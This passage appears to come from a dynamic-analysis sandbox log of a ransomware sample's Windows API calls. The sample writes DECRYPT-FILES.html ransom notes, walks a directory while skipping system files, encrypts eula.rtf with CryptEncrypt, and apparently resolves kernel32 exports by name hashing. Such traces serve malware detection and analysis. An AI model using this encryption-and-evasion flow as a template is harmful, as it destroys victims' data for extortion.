"c:\\588bce7c90097ed212\\1041\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0127.515] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0127.516] CloseHandle (hObject=0x470) returned 1 [0127.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.516] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1041\\*") returned="C:\\588bce7c90097ed212\\1041\\*" [0127.516] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5240ba18, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80f00 [0127.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0127.516] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5240ba18, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0127.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0127.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0127.517] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522b4638, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x522b4638, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5240ba18, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0127.517] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0127.517] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522b4638, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x522b4638, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x522b4638, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0127.517] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0127.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.517] lstrlenW (lpString="eogwkz.dat") returned 10 [0127.517] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1041\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0127.517] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1041\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1041\\eogwkz.dat" [0127.517] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0127.517] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1041\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.518] CloseHandle (hObject=0x0) returned 0 [0127.518] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.518] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0127.518] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0127.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.518] lstrlenW (lpString="eula.rtf") returned 8 [0127.518] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1041\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0127.518] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf" [0127.518] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0127.519] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0127.519] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=10125) returned 1 [0127.519] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0127.519] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0127.896] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0127.896] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0127.896] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0127.897] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0127.897] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0127.898] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.898] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0127.898] CloseHandle (hObject=0x5f8) returned 1 [0127.898] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.898] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0127.899] CloseHandle (hObject=0x0) returned 0 [0127.899] CloseHandle (hObject=0x5f4) returned 1 [0127.900] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.900] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.901] GetTickCount () returned 0x355c2 [0127.901] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0127.901] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0127.901] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0127.901] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0127.902] lstrlenA (lpString="kernel32.dll") returned 12 [0127.902] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0127.902] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0127.902] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0127.902] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0127.902] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0127.902] lstrlenA (lpString="ADDATOMA") returned 8 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0127.902] lstrlenA (lpString="ADDATOMW") returned 8 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0127.902] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0127.902] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0127.902] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0127.902] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0127.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0127.903] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0127.903] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0127.903] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0127.903] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0127.903] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0127.903] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0127.903] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0127.903] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0127.903] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0127.903] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0127.903] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0127.903] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0127.903] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0127.903] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0127.903] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0127.903] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0127.903] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0127.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0127.904] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0127.904] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0127.904] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0127.904] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0127.904] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0127.904] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0127.904] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0127.904] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0127.904] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0127.904] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0127.904] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0127.904] lstrlenA (lpString="BACKUPREAD") returned 10 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0127.904] lstrlenA (lpString="BACKUPSEEK") returned 10 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0127.904] lstrlenA (lpString="BACKUPWRITE") returned 11 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0127.904] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0127.904] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0127.904] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0127.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0127.905] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0127.905] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0127.905] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0127.905] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0127.905] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0127.905] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0127.905] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0127.905] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0127.905] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0127.905] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0127.905] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0127.905] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0127.905] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0127.905] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0127.905] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0127.905] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0127.905] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0127.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0127.906] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0127.906] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0127.906] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0127.906] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0127.906] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0127.906] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0127.906] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0127.906] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" 